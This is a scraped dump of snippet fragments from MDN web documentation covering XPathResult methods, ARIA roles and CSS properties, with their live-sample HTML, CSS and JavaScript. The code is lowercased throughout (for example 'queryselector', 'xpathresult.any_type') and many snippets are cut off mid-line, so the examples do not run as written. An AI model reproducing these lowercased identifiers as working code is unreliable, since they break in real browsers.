html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "//div"; var evaluator = new xpathevaluator(); var expression = evaluator.createexpression(xpath); var result = expression.evaluate(document, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificat...
XPathResult.booleanValue - Web APIs
html <div>xpath example</div> <p>text is 'xpath example': <output></output></p> javascript var xpath = "//div/text() = 'xpath example'"; var result = document.evaluate(xpath, document, null, xpathresult.boolean_type, null); document.queryselector("output").textcontent = result.booleanvalue; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.booleanvalue' in that specific...
XPathResult.invalidIteratorState - Web APIs
html <div>xpath example</div> <p>iterator state: <output></output></p> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.any_type, null); // invalidates the iterator state document.queryselector("div").remove(); document.queryselector("output").textcontent = result.invaliditeratorstate ?
XPathResult.iterateNext() - Web APIs
html <div>xpath example</div> <div>tag names of the matched nodes: <output></output></div> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.any_type, null); var node = null; var tagnames = []; while(node = result.iteratenext()) { tagnames.push(node.localname); } document.queryselector("output").textcontent = tagnames.join(", "); result specifications specification status comment document object model (dom) level 3 x...
XPathResult.numberValue - Web APIs
html <div>xpath example</div> <div>number of &lt;div&gt;s: <output></output></div> javascript var xpath = "count(//div)"; var result = document.evaluate(xpath, document, null, xpathresult.number_type, null); document.queryselector("output").textcontent = result.numbervalue; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.numbervalue' in that specification.
XPathResult.resultType - Web APIs
html <div>xpath example</div> <div>is xpath result a node set: <output></output></div> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.any_type, null); document.queryselector("output").textcontent = result.resulttype >= xpathresult.unordered_node_iterator_type && result.resulttype <= xpathresult.first_ordered_node_type; result specifications specification status comment document object model (dom) level 3 xpa...
XPathResult.singleNodeValue - Web APIs
html <div>xpath example</div> <div>tag name of the element having the text content 'xpath example': <output></output></div> javascript var xpath = "//*[text()='xpath example']"; var result = document.evaluate(xpath, document, null, xpathresult.first_ordered_node_type, null); document.queryselector("output").textcontent = result.singlenodevalue.localname; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.singlenod...
XPathResult.snapshotItem() - Web APIs
html <div>xpath example</div> <div>tag names of the matched nodes: <output></output></div> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.ordered_node_snapshot_type, null); var node = null; var tagnames = []; for(var i = 0; i < result.snapshotlength; i++) { var node = result.snapshotitem(i); tagnames.push(node.localname); } document.queryselector("output").textcontent = tagnames.join(", "); result specifications specification ...
XPathResult.snapshotLength - Web APIs
html <div>xpath example</div> <div>number of matched nodes: <output></output></div> javascript var xpath = "//div"; var result = document.evaluate(xpath, document, null, xpathresult.ordered_node_snapshot_type, null); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.snapshotlength' in that specification.
XPathResult.stringValue - Web APIs
html <div>xpath example</div> <div>text content of the &lt;div&gt; above: <output></output></div> javascript var xpath = "//div/text()"; var result = document.evaluate(xpath, document, null, xpathresult.string_type, null); document.queryselector("output").textcontent = result.stringvalue; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathresult.stringvalue' in that specification.
XRInputSourceArray.entries() - Web APIs
the xrinputsourcearray interface's entries() method returns a javascript iterator which can then be used to iterate over the key/value pairs in the input source array.
Resources - Web APIs
at ibm developerworks xslt tutorial at zvon.org xpath tutorial at zvon.org using the mozilla javascript interface to do xsl transformations at mozilla.org mozilla.org's xslt project page, which includes a frequently encountered issues section.
XSL Transformations in Mozilla FAQ - Web APIs
there is transformtodocument and transformtofragment starting with mozilla 1.2 final, see using the mozilla javascript interface to xsl transformations.
msCapsLockWarningOff - Web APIs
example fiddle: http://jsfiddle.net/jonathansampson/mqcha/1/ example 2 <html> <head> <title>mscapslockwarningoff example</title> <script type="text/javascript"> function capsoff() { if (document.mscapslockwarningoff == false) { document.mscapslockwarningoff = true; document.getelementbyid("caps").innerhtml = "warning off"; } else { document.mscapslockwarningoff = false; document.getelementbyid("caps").innerhtml = "warning on"; } } ...
msWriteProfilerMark - Web APIs
notes mswriteprofilermark enables you to inject dom based performance markers in addition to existing javascript api to learn exactly when parts of the page are being rendered, building a waterfall view for every one of our impressions showing latency per object, which can be useful for more accurately debugging real users perf issues.
msthumbnailclick - Web APIs
modecleariconoverlay(); // pinned icons on your taskbar can be instructed to trigger specific events on your site from the taskbar // add an event handlerdocument.addeventlistener('msthumbnailclick', onbuttonclicked, false); // add the buttons var btnplay = window.external.mssitemodeaddthumbbarbutton(iconuri, tooltip); // refresh the taskbar window.external.mssitemodeshowthumbbar(); // call a javascript function when the button is pressed function onbuttonclicked(e) { switch (e.buttonid) { case btnplay: play(); break;} } see also microsoft api extensions ...
Web APIs
WebAPI
web apis are typically used with javascript, although this doesn't always have to be the case.
ARIA Test Cases - Accessibility
0 - - - - voiceover (leopard) n/a n/a - fail window-eyes - - - - nvda - n/a - - zoom (leopard) pass n/a pass pass zoomtext - - - - orca - - - - property-only test cases these testcases involve aria properties used to enhance html controls (as opposed to javascript-built widgets).
ARIA: tabpanel role - Accessibility
the aria tabpanel role indicates description an element with the tabpanel role associated roles and attributes aria- keyboard interaction key action tab → ← delete required javascript features include note about semantic alternatives to using this role or attribute.
ARIA: application role - Accessibility
required javascript features keypress used to handle keyboard input and control the focus click, touch handle as appropriate for your widget as well changing attribute values aria-activedescendant is used to manage the focus inside the application container.
ARIA: article role - Accessibility
required javascript features event handlers this role does not require any event handlers to be present.
ARIA: cell role - Accessibility
keyboard interactions none required javascript features the first rule of aria use is if you can use a native feature with the semantics and behavior you require already built in, instead of repurposing an element and adding an aria role, state or property to make it accessible, then do so.
ARIA: document role - Accessibility
required javascript features none, except as required by any attributes.
ARIA: feed role - Accessibility
required javascript features none, except as required by any attributes.
ARIA: gridcell role - Accessibility
as such, it is recommended to use the utilize native html table markup instead of recreating a table's form and functionality with aria and javascript.
ARIA: Main role - Accessibility
if a document contains two main roles, say updating page content when triggered by javascript, the inactive main role's presence should be removed from assistive technology via techniques such as toggling the hidden attribute.
ARIA: Navigation Role - Accessibility
required javascript features none.
ARIA: Region role - Accessibility
required javascript features none.
ARIA: img role - Accessibility
an aria-label attribute keyboard interactions required javascript features examples star rating role="img" example specifications specification status accessible rich internet applications (wai-aria) 1.1the definition of 'img' in that specification.
ARIA: row role - Accessibility
keyboard interactions none required javascript features none.
ARIA: rowgroup role - Accessibility
keyboard interactions none required javascript features none.
ARIA: table role - Accessibility
keyboard interactions none required javascript features none.
ARIA: dialog role - Accessibility
required javascript features focus management a dialog has particular requirements for how keyboard focus should be managed: dialogs should always have at least one focusable control.
ARIA: heading role - Accessibility
required javascript features required event handlers none.
ARIA: listbox role - Accessibility
required javascript features selecting an option in a single select listbox when the user selects an option, the following must occur: deselect the previously selected option, setting the aria-selected to false, or removing the attribute altogether, changing the appearance of the newly unselected option to appear not selected.
overview - Accessibility
warning: needs updating introduction here's a look at working examples and best practices in building accessible javascript widgets.
Accessibility Information for Web Authors - Accessibility
dynamic web content is not accessible, because it uses vanilla <div>'s and <span>'s combined with javascript rather than declarative markup to describe the behavior of custom widgets such as menus and tree views.
-webkit-text-stroke-color - CSS: Cascading Style Sheets
)where <alpha-value> = <number> | <percentage><hue> = <number> | <angle> examples varying the stroke color html <p>text with stroke</p> <input type="color" value="#ff0000"> css p { margin: 0; font-size: 4em; -webkit-text-stroke-width: 3px; -webkit-text-stroke-color: #ff0000; /* can be changed in the live sample */ } javascript var colorpicker = document.queryselector("input"); colorpicker.addeventlistener("change", function(evt) { document.queryselector("p").style.webkittextstrokecolor = evt.target.value; }); results specifications specification status comment compatibility standardthe definition of '-webkit-text-stroke-color' in that specification.
:-webkit-autofill - CSS: Cascading Style Sheets
note: the user agent style sheets of many browsers use !important in their :-webkit-autofill style declarations, making them non-overrideable by webpages without resorting to javascript hacks.
::after (:after) - CSS: Cascading Style Sheets
WebCSS::after
no javascript is required!
::before (:before) - CSS: Cascading Style Sheets
WebCSS::before
: relative; margin: 2px; padding: 0.5em 0.5em 0.5em 2em; background: lightgrey; font-family: sans-serif; } li.done { background: #ccff99; } li.done::before { content: ''; position: absolute; border-color: #009933; border-style: solid; border-width: 0 0.3em 0.25em 0; height: 1em; top: 1.3em; left: 0.6em; margin-top: -1em; transform: rotate(45deg); width: 0.5em; } javascript var list = document.queryselector('ul'); list.addeventlistener('click', function(ev) { if (ev.target.tagname === 'li') { ev.target.classlist.toggle('done'); } }, false); here is the above code example running live.
::part() - CSS: Cascading Style Sheets
WebCSS::part
ab):hover { background-color: #0c0c0d19; border-color: #0c0c0d33; } tabbed-custom-element::part(tab):hover:active { background-color: #0c0c0d33; } tabbed-custom-element::part(tab):focus { box-shadow: 0 0 0 1px #0a84ff inset, 0 0 0 1px #0a84ff, 0 0 0 4px rgba(10, 132, 255, 0.3); } tabbed-custom-element::part(active) { color: #0060df; border-color: #0a84ff !important; } javascript let template = document.queryselector("#tabbed-custom-element"); globalthis.customelements.define(template.id, class extends htmlelement { constructor() { super(); this.attachshadow({ mode: "open" }); this.shadowroot.appendchild(template.content); } }); result specifications specification status comment shadow partsthe definition of '::part' in t...
:checked - CSS: Cascading Style Sheets
WebCSS:checked
ange; } /* checkbox element, when checked */ input[type="checkbox"]:checked { box-shadow: 0 0 0 3px hotpink; } /* option elements, when selected */ option:checked { box-shadow: 0 0 0 3px lime; color: red; } result toggling elements with a hidden checkbox this example utilizes the :checked pseudo-class to let the user toggle content based on the state of a checkbox, all without using javascript.
:first - CSS: Cascading Style Sheets
WebCSS:first
syntax :first examples html <p>first page.</p> <p>second page.</p> <button>print!</button> css @page :first { margin-left: 50%; margin-top: 50%; } p { page-break-after: always; } javascript document.queryselector("button").addeventlistener('click', () => { window.print(); }); result press the "print!" button to print the example.
:fullscreen - CSS: Cascading Style Sheets
this is done without needing to specifically apply style changes using javascript.
:target - CSS: Cascading Style Sheets
WebCSS:target
/p> css p:target { background-color: gold; } /* add a pseudo-element inside the target element */ p:target::before { font: 70% sans-serif; content: "►"; color: limegreen; margin-right: .25em; } /* style italic elements within the target element */ p:target i { color: red; } result pure-css lightbox you can use the :target pseudo-class to create a lightbox without using any javascript.
@keyframes - CSS: Cascading Style Sheets
description javascript can access the @keyframes at-rule with the css object model interface csskeyframesrule.
aspect-ratio - CSS: Cascading Style Sheets
step="5" value="165"> <iframe id="outer" src="data:text/html,<style> @media (min-aspect-ratio: 8/5) { div { background: %239af; } } @media (max-aspect-ratio: 3/2) { div { background: %239ff; } } @media (aspect-ratio: 1/1) { div { background: %23f9a; } }</style><div id='inner'> watch this element as you resize your viewport's width and height.</div>"> </iframe> css iframe{ display:block; } javascript outer.style.width=outer.style.height="165px" w.onchange=w.oninput=function(){ outer.style.width=w.value+"px" wf.textcontent="width:"+w.value } h.onchange=h.oninput=function(){ outer.style.height=h.value+"px" hf.textcontent="height:"+h.value } result specifications specification status comment media queries level 4the definition of 'aspect-ratio' in th...
scripting - CSS: Cascading Style Sheets
WebCSS@mediascripting
the scripting css media feature can be used to test whether scripting (such as javascript) is available.
@supports - CSS: Cascading Style Sheets
WebCSS@supports
@supports (display: grid) { div { display: grid; } } @supports not (display: grid) { div { float: right; } } in javascript, @supports can be accessed via the css object model interface csssupportsrule.
Coordinate systems - CSS: Cascading Style Sheets
javascript let's look at the script in two sections.
Border-image generator - CSS: Cascading Style Sheets
gin: 0 0 10px 0; line-height: 25px; text-align: center; color: #aaa; } #output .css-property { width: 100%; margin: 0; color: #555; font-size: 14px; line-height: 18px; float: left; } #output .css-property .name { width: 30%; font-weight: bold; text-align: right; float: left; } #output .css-property .value { width: 65%; padding: 0 2.5%; word-break: break-all; float: left; } javascript content 'use strict'; /** * ui-slidersmanager */ var inputslidermanager = (function inputslidermanager() { var subscribers = {}; var sliders = []; var inputcomponent = function inputcomponent(obj) { var input = document.createelement('input'); input.setattribute('type', 'text'); input.style.width = 50 + obj.precision * 10 + 'px'; input.addeventlistener('click', function(e) { ...
Border-radius generator - CSS: Cascading Style Sheets
{ width: 200px; color: #444; float:left; } #dimensions input { background: #555; color: #fff; border: none; border-radius: 3px; } #output { width: 500px; padding: 10px 0; margin: 10px 0; color: #555; text-align: center; border: 1px dashed #999; border-radius: 3px; -moz-user-select: text; -webkit-user-select: text; -ms-user-select: text; user-select: text; float: right; } javascript content 'use strict'; /** * ui-inputslidermanager */ var inputslidermanager = (function inputslidermanager() { var subscribers = {}; var sliders = []; var inputcomponent = function inputcomponent(obj) { var input = document.createelement('input'); input.setattribute('type', 'text'); input.addeventlistener('click', function(e) { this.select(); }); input.addeventlistener('...
Box-shadow generator - CSS: Cascading Style Sheets
order: 1px dashed #ccc; border-radius: 3px; display: none; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: text; -webkit-user-select: text; -ms-user-select: text; } #output .css-property { width: 100%; float: left; white-space: pre; } #output .name { width: 35%; float: left; } #output .value { width: 65%; float: left; } javascript content 'use strict'; /** * ui-slidersmanager */ var slidermanager = (function slidermanager() { var subscribers = {}; var sliders = []; var slider = function(node) { var min = node.getattribute('data-min') | 0; var max = node.getattribute('data-max') | 0; var step = node.getattribute('data-step') | 0; var value = node.getattribute('data-value') | 0; var snap = node.getattri...
Using URL values for the cursor property - CSS: Cascading Style Sheets
javascript, css animation, and declarative smil inside an svg image are ignored; you can't use svg to create an animated cursor, for example.
Color picker tool - CSS: Cascading Style Sheets
as-controls.png') center right no-repeat; } #zindex { height: 20px; margin: 5px; font-size: 16px; position: absolute; opacity: 0; top: -10000px; left: 0; color: #777; float: left; transition: opacity 1s; } #zindex input { border: 1px solid #ddd; font-size: 16px; color: #777; } #zindex .ui-input-slider-info { width: 60px; } #zindex[data-active='true'] { top: 0; opacity: 1; } javascript content 'use strict'; var uicolorpicker = (function uicolorpicker() { function getelembyid(id) { return document.getelementbyid(id); } var subscribers = []; var pickers = []; /** * rgba color class * * hsv/hsb and hsl (hue, saturation, value / brightness, lightness) * @param hue 0-360 * @param saturation 0-100 * @param value 0-100 * @param lightness 0-100 */ fun...
Mastering Wrapping of Flex Items - CSS: Cascading Style Sheets
flex line wrapping is re-done after collapsing, however, so the cross-size of a flex container with multiple lines might or might not change.” - collapsed items this behaviour is useful if you want to target flex items using javascript to show and hide content for example.
CSS reference - CSS: Cascading Style Sheets
WebCSSReference
keyword index note: the property names in this index do not include the javascript names where they differ from the css standard names.
Specificity - CSS: Cascading Style Sheets
<div class="foo" style="color: red;">what color am i?</div> .foo[style*="color: red"] { color: firebrick !important; } many javascript frameworks and libraries add inline styles.
Linear-gradient Generator - CSS: Cascading Style Sheets
: text; -webkit-user-select: text; -ms-user-select: text; user-select: text; } #output .css-property { width: 90%; margin: 5px 5%; color: #777; position: relative; float: left; } #output .property { height: 100%; width: 12%; position: absolute; left: 0; } #output .value { width: 88%; position: absolute; white-space: pre; word-wrap: break-word; display: block; right: 0; } javascript content var uicolorpicker = (function uicolorpicker() { 'use strict'; function getelembyid(id) { return document.getelementbyid(id); } var subscribers = []; var pickers = []; /** * rgba color class * * hsv/hsb and hsl (hue, saturation, value / brightness, lightness) * @param hue 0-360 * @param saturation 0-100 * @param value 0-100 * @param lightness 0-100 */ fun...
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
values in javascript to use the values of custom properties in javascript, it is just like standard properties.
Viewport concepts - CSS: Cascading Style Sheets
javascript the visual viewport api provides a mechanism for querying and modifying the properties of the visual viewport.
align-content - CSS: Cascading Style Sheets
<option value="unsafe center">unsafe center</option> <option value="safe right">safe right</option> <option value="unsafe right">unsafe right</option> <option value="safe end">safe end</option> <option value="unsafe end">unsafe end</option> <option value="safe flex-end">safe flex-end</option> <option value="unsafe flex-end">unsafe flex-end</option> </select> </div> javascript var values = document.getelementbyid('values'); var display = document.getelementbyid('display'); var container = document.getelementbyid('container'); values.addeventlistener('change', function (evt) { container.style.aligncontent = evt.target.value; }); display.addeventlistener('change', function (evt) { container.classname = evt.target.value; }); result specifications sp...
align-items - CSS: Cascading Style Sheets
value="unsafe right">unsafe right</option> <option value="safe end">safe end</option> <option value="unsafe end">unsafe end</option> <option value="safe self-end">safe self-end</option> <option value="unsafe self-end">unsafe self-end</option> <option value="safe flex-end">safe flex-end</option> <option value="unsafe flex-end">unsafe flex-end</option> </select> </div> javascript var values = document.getelementbyid('values'); var display = document.getelementbyid('display'); var container = document.getelementbyid('container'); values.addeventlistener('change', function (evt) { container.style.alignitems = evt.target.value; }); display.addeventlistener('change', function (evt) { container.classname = evt.target.value; }); result specifications spec...
<blend-mode> - CSS: Cascading Style Sheets
rence</option> <option>exclusion</option> <option>hue</option> <option>saturation</option> <option>color</option> <option>luminosity</option> </select> css div { width: 300px; height: 300px; background: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png) no-repeat center, linear-gradient(to bottom, blue, orange); } javascript const selectelem = document.queryselector('select'); const divelem = document.queryselector('div'); selectelem.addeventlistener('change', () => { divelem.style.backgroundblendmode = selectelem.value; }); result specifications specification status comment compositing and blending level 1the definition of '<blend-mode>' in that specification.
border-image-repeat - CSS: Cascading Style Sheets
} html <div id="bordered">you can try out various border repetition rules on me!</div> <select id="repetition"> <option value="stretch">stretch</option> <option value="repeat">repeat</option> <option value="round">round</option> <option value="space">space</option> <option value="stretch repeat">stretch repeat</option> <option value="space round">space round</option> </select> javascript var repetition = document.getelementbyid("repetition"); repetition.addeventlistener("change", function (evt) { document.getelementbyid("bordered").style.borderimagerepeat = evt.target.value; }); results specifications specification status comment css backgrounds and borders module level 3the definition of 'border-image-repeat' in that specification.
border-image-slice - CSS: Cascading Style Sheets
" id="slice"> <output id="slice-output">30</output> </li> </ul> css .wrapper { width: 400px; height: 300px; } div > div { width: 300px; height: 200px; border-width: 30px; border-style: solid; border-image: url(https://udn.realityripple.com/samples/56/bb98f533ef.png); border-image-slice: 30; border-image-repeat: round; } li { display: flex; place-content: center; } javascript const widthslider = document.getelementbyid('width'); const sliceslider = document.getelementbyid('slice'); const widthoutput = document.getelementbyid('width-output'); const sliceoutput = document.getelementbyid('slice-output'); const divelem = document.queryselector('div > div'); widthslider.addeventlistener('input', () => { const newvalue = widthslider.value + 'px'; divelem.style.borderw...
clip-path - CSS: Cascading Style Sheets
WebCSSclip-path
t id="clippath"> <option value="none">none</option> <option value="circle(100px at 110px 100px)">circle</option> <option value="url(#cross)" selected>cross</option> <option value="inset(20px round 20px)">inset</option> <option value="path('m 0 200 l 0,110 a 110,90 0,0,1 240,100 l 200 340 z')">path</option> </select> css #clipped { margin-bottom: 20px; clip-path: url(#cross); } javascript const clippathselect = document.getelementbyid("clippath"); clippathselect.addeventlistener("change", function (evt) { document.getelementbyid("clipped").style.clippath = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'clip-path' in that specification.
<color> - CSS: Cascading Style Sheets
html <div></div> <hr> <label for="color">enter a valid color value:</label> <input type="text" id="color"> css div { width: 100%; height: 200px; } javascript const inputelem = document.queryselector('input'); const divelem = document.queryselector('div'); function validtextcolor(stringtotest) { if (stringtotest === "") { return false; } if (stringtotest === "inherit") { return false; } if (stringtotest === "transparent") { return false; } const image = document.createelement("img"); image.style.color = "rgb(0, 0, 0)"; image.style.color ...
display - CSS: Cascading Style Sheets
WebCSSdisplay
id</option> <option>table</option> <option>list-item</option> </select> </div> css html { font-family: helvetica, arial, sans-serif; letter-spacing: 1px; padding-top: 10px; } article { background-color: red; } article span { background-color: black; color: white; margin: 1px; } article, span { padding: 10px; border-radius: 7px; } article, div { margin: 20px; } javascript const articles = document.queryselectorall('.container'); const select = document.queryselector('select'); function updatedisplay() { articles.foreach((article) => { article.style.display = select.value; }); } select.addeventlistener('change', updatedisplay); updatedisplay(); result note: you can find more examples in the pages for each separate display data type, linked above.
<easing-function> - CSS: Cascading Style Sheets
height: 50px; background-color: blue; background-image: radial-gradient(circle at 10px 10px, rgba(25,255,255,0.8),rgba(25,255,255,0.4)); border-radius: 50%; top: 25px; animation: 1.5s infinite alternate; } @keyframes move-right { from { left: 10%; } to { left: 90%; } } li { display: flex; align-items: center; justify-content: center; margin-bottom: 20px; } javascript const selectelem = document.queryselector('select'); const startbtn = document.queryselector('button'); const divelem = document.queryselector('div > div'); startbtn.addeventlistener('click', () => { if(startbtn.textcontent === 'start animation') { divelem.style.animationname = 'move-right'; startbtn.textcontent = 'stop animation'; divelem.style.animationtimingfunction = selectele...
<filter-function> - CSS: Cascading Style Sheets
{ width: 300px; height: 300px; background: url(https://media.prod.mdn.mozit.cloud/attachments/2020/07/29/17350/3b4892b7e820122ac6dd7678891d4507/firefox.png) no-repeat center; } li { display: flex; align-items: center; justify-content: center; margin-bottom: 20px; } input { width: 60% } output { width: 5%; text-align: center; } select { width: 40%; margin-left: 2px; } javascript const selectelem = document.queryselector('select'); const divelem = document.queryselector('div'); const slider = document.queryselector('input'); const output = document.queryselector('output'); const curvalue = document.queryselector('p code'); selectelem.addeventlistener('change', () => { setslider(selectelem.value); setdiv(selectelem.value); }); slider.addeventlistener('input', () => ...
font-kerning - CSS: Cascading Style Sheets
ij</textarea> css div { font-size: 2rem; font-family: serif; } #nokern { font-kerning: none; } #kern { font-kerning: normal; } javascript let input = document.getelementbyid('input'); let kern = document.getelementbyid('kern'); let nokern = document.getelementbyid('nokern'); input.addeventlistener('keyup', function() { kern.textcontent = input.value; /* update content */ nokern.textcontent = input.value; }); kern.textcontent = input.value; /* initialize content */ nokern.textcontent = input.value; specifications ...
font-style - CSS: Cascading Style Sheets
font: 1rem monospace; } .container { max-height: 150px; overflow: scroll; } .sample { font: 2rem 'amstelvaralpha', sans-serif; } html, body { max-height: 100vh; max-width: 100vw; overflow: hidden; } body { display: flex; flex-direction: column; } header { margin-bottom: 1.5rem; } .container { flex-grow: 1; } .container > p { margin-top: 0; margin-bottom: 0; } javascript let slantlabel = document.queryselector('label[for="slant"]'); let slantinput = document.queryselector('#slant'); let sampletext = document.queryselector('.sample'); function update() { let slant = `oblique ${slantinput.value}deg`; slantlabel.textcontent = `font-style: ${slant};`; sampletext.style.fontstyle = slant; } slantinput.addeventlistener('input', update); update(); accessibil...
font-weight - CSS: Cascading Style Sheets
container { max-height: 150px; overflow-y: auto; } .sample { text-transform: uppercase; font: 1.5rem 'mutatorsans', sans-serif; } html, body { max-height: 100vh; max-width: 100vw; overflow: hidden; } body { display: flex; flex-direction: column; } header { margin-bottom: 1.5rem; } .container { flex-grow: 1; } .container > p { margin-top: 0; margin-bottom: 0; } javascript let weightlabel = document.queryselector('label[for="weight"]'); let weightinput = document.queryselector('#weight'); let sampletext = document.queryselector('.sample'); function update() { weightlabel.textcontent = `font-weight: ${weightinput.value};`; sampletext.style.fontweight = weightinput.value; } weightinput.addeventlistener('input', update); update(); accessibility concerns pe...
font - CSS: Cascading Style Sheets
WebCSSfont
5px; width: 120px; } .propinputs, .setpropcont { margin-bottom: 1em; } .curcss { border: none; border-bottom: 1px solid black; text-align: center; width: 80px; } .mandatory { border-bottom-color: red; } .cf:before, .cf:after { content: " "; display: table; } .cf:after { clear: both; } .tar { width: 40px; text-align: right; } .fontfamily { display: inline-block; } javascript var textareas = document.getelementsbyclassname("curcss"), shorttext = "", getcheckedvalue, setcss, getproperties, injectcss; getproperties = function () { shorttext = getcheckedvalue("font_style") + " " + getcheckedvalue("font_variant") + " " + getcheckedvalue("font_weight") + " " + getcheckedvalue("font_size") + getcheckedvalue("line_height"...
grid-column - CSS: Cascading Style Sheets
one can use a little javascript to enable automatic annotation: source repository.
grid-row - CSS: Cascading Style Sheets
WebCSSgrid-row
one can use a little javascript to enable automatic annotation: source repository.
image-orientation - CSS: Cascading Style Sheets
flip ] examples orienting image from image data css #image { image-orientation: from-image; /* can be changed in the live sample */ } html <img id="image" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="orientation taken from the image"> <select id="imageorientation"> <option value="from-image">from-image</option> <option value="none">none</option> </select> javascript var imageorientation = document.getelementbyid("imageorientation"); imageorientation.addeventlistener("change", function (evt) { document.getelementbyid("image").style.imageorientation = evt.target.value; }); result specifications specification status comment css images module level 3the definition of 'image-orientation' in that specification.
justify-content - CSS: Cascading Style Sheets
ht">right</option> <option value="baseline">baseline</option> <option value="first baseline">first baseline</option> <option value="last baseline">last baseline</option> <option value="space-between" selected>space-between</option> <option value="space-around">space-around</option> <option value="space-evenly">space-evenly</option> <option value="stretch">stretch</option> </select> javascript var justifycontent = document.getelementbyid("justifycontent"); justifycontent.addeventlistener("change", function (evt) { document.getelementbyid("container").style.justifycontent = evt.target.value; }); result specifications specification status comment css box alignment module level 3the definition of 'justify-content' in that specification.
<length> - CSS: Cascading Style Sheets
WebCSSlength
inset -3px -3px 5px rgba(0,0,0,0.5); background-color: orange; display: flex; align-items: center; margin-top: 10px; } .result code { position: absolute; margin-left: 20px; } .results { margin-top: 10px; } .input-container { position: absolute; display: flex; justify-content: flex-start; align-items: center; height: 50px; } label { margin: 0 10px 0 20px; } javascript const inputdiv = document.queryselector('.inner'); const inputelem = document.queryselector('input'); const resultsdiv = document.queryselector('.results'); inputelem.addeventlistener('change', () => { inputdiv.style.width = inputelem.value; const result = document.createelement('div'); result.classname = 'result'; result.style.width = inputelem.value; result.innerhtml = `<code>width...
mask-clip - CSS: Cascading Style Sheets
WebCSSmask-clip
option value="content-box">content-box</option> <option value="padding-box">padding-box</option> <option value="border-box" selected>border-box</option> <option value="margin-box">margin-box</option> <option value="fill-box">fill-box</option> <option value="stroke-box">stroke-box</option> <option value="view-box">view-box</option> <option value="no-clip">no-clip</option> </select> javascript var clipbox = document.getelementbyid("clipbox"); clipbox.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskclip = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-clip' in that specification.
mask-composite - CSS: Cascading Style Sheets
url(https://mdn.mozillademos.org/files/12676/star.svg); mask-size: 100% 100%; mask-composite: add; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="compositemode"> <option value="add">add</option> <option value="subtract">subtract</option> <option value="intersect">intersect</option> <option value="exclude">exclude</option> </select> javascript var clipbox = document.getelementbyid("compositemode"); clipbox.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskcomposite = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-composite' in that specification.
mask-mode - CSS: Cascading Style Sheets
WebCSSmask-mode
eight: 200px; background: blue linear-gradient(red, blue); mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-mode: alpha; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="maskmode"> <option value="alpha">alpha</option> <option value="luminance">luminance</option> <option value="match-source">match-source</option> </select> javascript var maskmode = document.getelementbyid("maskmode"); maskmode.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskmode = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-mode' in that specification.
mask-origin - CSS: Cascading Style Sheets
d="masked"> </div> <select id="origin"> <option value="content-box">content-box</option> <option value="padding-box">padding-box</option> <option value="border-box" selected>border-box</option> <option value="margin-box">margin-box</option> <option value="fill-box">fill-box</option> <option value="stroke-box">stroke-box</option> <option value="view-box">view-box</option> </select> javascript var origin = document.getelementbyid("origin"); origin.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskorigin = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-origin' in that specification.
mask-position - CSS: Cascading Style Sheets
id="maskposition"> <option value="top">top</option> <option value="center">center</option> <option value="bottom">bottom</option> <option value="top right" selected>top right</option> <option value="center center">center center</option> <option value="bottom left">bottom left</option> <option value="10px 20px">10px 20px</option> <option value="60% 20%">60% 20%</option> </select> javascript var maskposition = document.getelementbyid("maskposition"); maskposition.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskposition = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-position' in that specification.
mask-repeat - CSS: Cascading Style Sheets
changed in the live sample */ margin-bottom: 10px; } html content <div id="masked"> </div> <select id="repetition"> <option value="repeat-x">repeat-x</option> <option value="repeat-y">repeat-y</option> <option value="repeat" selected>repeat</option> <option value="space">space</option> <option value="round">round</option> <option value="no-repeat">no-repeat</option> </select> javascript content var repetition = document.getelementbyid("repetition"); repetition.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskrepeat = evt.target.value; }); result multiple mask image support you can specify a different <repeat-style> for each mask image, separated by commas: .examplethree { mask-image: url('mask1.png'), url('mask2.png'); mask-r...
mask-size - CSS: Cascading Style Sheets
WebCSSmask-size
ze: 50%; /* can be changed in the live sample */ margin-bottom: 10px; } html <div id="masked"> </div> <select id="masksize"> <option value="auto">auto</option> <option value="40% 80%">40% 80%</option> <option value="50%" selected>50%</option> <option value="200px 100px">200px 100px</option> <option value="cover">cover</option> <option value="contain">contain</option> </select> javascript var masksize = document.getelementbyid("masksize"); masksize.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.masksize = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-size' in that specification.
overflow - CSS: Cascading Style Sheets
WebCSSoverflow
the javascript element.scrolltop property may be used to scroll an html element even when overflow is set to hidden.
place-items - CSS: Cascading Style Sheets
